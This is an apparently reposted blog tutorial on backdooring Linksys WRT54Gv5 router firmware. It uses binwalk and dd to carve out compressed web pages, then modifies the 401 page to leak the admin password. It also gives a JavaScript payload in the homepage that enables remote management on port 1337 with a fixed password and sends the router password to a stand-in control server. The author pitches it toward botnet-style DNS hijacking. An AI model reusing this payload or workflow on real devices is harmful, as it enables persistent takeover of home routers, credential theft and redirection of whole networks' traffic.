NB:THIS INFORMATION WAS SOURCED FROM ANOTHER SITE
A More Universal Router Payload – Backdooring the
Linksys WRT54G Firmware
Recently I’ve had an interest in
trying my hand in embedded device hacking. I decided that I’d pick up something
I know to start with. After searching eBay I decided on the popular Linksys WRT54Gv5
router. After personally using this router for years I figured it’d be a nice
familiar place to start.
Analysis
After reading a bit from the http://www.devttys0.com/ blog I decided to use binwalk to analyze the firmware file.
Here are the results:
mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV)
101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc."
103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes
1182692 0x120BE4 TROC filesystem, 102 file entries
1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
- At offset 0×200 we have our MIPS bootloader
- Offset 0x18D10 is a copyright string for Wind River Systems Inc. this is important because they created the Vxworks Operating System which this router uses
- Offset 0x194F0 is the Vxworks OS/filesystem which I currently have not been able to disassemble (due to it being a proprietary and largely undocumented filesystem, at least from what I could see)
- Tons of flat files like “apply.htm” all gzip compressed
[ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]
What makes us lucky is the fact that the gzipped files are concatenated one after another. This allows us to know where each file ends and starts. The offsets are determined by the magic number signatures for the different filetypes. These are simply a couple bytes that mark what type of file is being used. So for example the bytes for the gzip format are 1f 8b – binwalk finds these and lists where in the binary they are located.
Great, so now we can get to the fun part. Logically, we should be able to slice out files and replace them as long as the size is consistent. This is probably not necessary but it’s a worst case scenario (say, if they actually depend on certain offsets for updates).
Chop Chop!
A little bit of dd and we can chop one
of the .htm files out of the router for modification. Binwalk has a built in
extract function but I could not get it to work properly (attempt it yourself
to see what I mean).
dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset - Current Offset] of=output_filename
“lastpassword.htm”:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
<BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>
</PRE></BODY></HTML>
“Unauthorized.htm”:
<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>
<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4>
Authorization required.
</BODY></HTML>
Remember, because we’re being paranoid we will ensure the file is the same size as when we started. It’ll be a little bit of a pain due to compression being used on the .htm files, but it’s not too bad.
After a bit of fiddling we end up with:
<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4>
<!--<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> -->
After
a quick ls we can see the files are exactly the same size:
Now
reference our binwalk data:
1338096 0x146AF0 GIF image data, version "89a", 192 x 64
1340943 0x14760F gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1341087 0x14769F gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4
1338096 0x146AF0 GIF image data, version "89a", 192 x 64
1340943 0x14760F gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
1341087 0x14769F gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4
So we’ll
cut before and after the original “Unauthorized.htm” file and then we’ll
rebuild with cat.
Great! Of course we should double check all is consistent
but upon rebuilding everything we can go ahead and flash the firmware!
The firmware has been flashed but did it work?
We simply cancel this dialogue and get the not authorized page:
Upon viewing the source we have the password in cleartext wrapped in HTML comment tags like we specified:
erfect! We now have persistent access to the router in a pretty stealthy way. But this isn’t universal or useful on a larger scale, what if we want a payload that works more like a botnet?
Backdoor
In search of a more universal backdoor we will make this one completely Javascript. Javascript is a good option due to the fact that it is not platform dependent (MIPS assembly payload wouldn’t work on a non-MIPS router etc). It also provides us with enough functionality to change all of the built in setting to whatever we please (via XMLHTTPrequests, etc.). While we won’t be able to preform DoS attacks we will be able to do important things like control the router’s DNS server. Control over the router’s DNS is valuable to malware authors who can use this to do network wide adware/malware attacks. This is because most computers will simply use the DNS that the router chooses, so it’s much more efficient to simply hack the router than all of the individual computers. This sort of attack has already been preformed in the wild by malware like the Zlob trojan, which turned out to be very effective.So, let’s get to it!
The homepage of the router is the “basic.htm” file, upon logging in the user is immediately directed there. So if we backdoor that page we will have a good level of persistence. We will make a payload that will send the username and password back to our control server and also enable remote authentication on port 1337.
After a bit of Javascript coding and we have something usable:
function evil_payload()
{
xml = new XMLHttpRequest();
xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri');
var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en";
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.setRequestHeader("Content-length", params.length);
xml.setRequestHeader("Connection", "close");
xml.send(params);
thb = new XMLHttpRequest();
thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>');
thb.send();
}
Using the same method as before we trim off all excess space and useless HTML (lots of commented out code in the production firmware, it’s pretty horrifying). Then we will pack it back into the firmware (remember: we must ensure the files are the same size).
Another flash and wallah! We have our new backdoored firmware!
Granted this is just a proof of concept, the real backdoor would probably contact a C&C for further instructions/fresh set of DNS servers.
Much more simple than you’d think, most router firmware that I’ve analyzed can be modified in this same way.
Until next time,
mandatory
No comments:
Post a Comment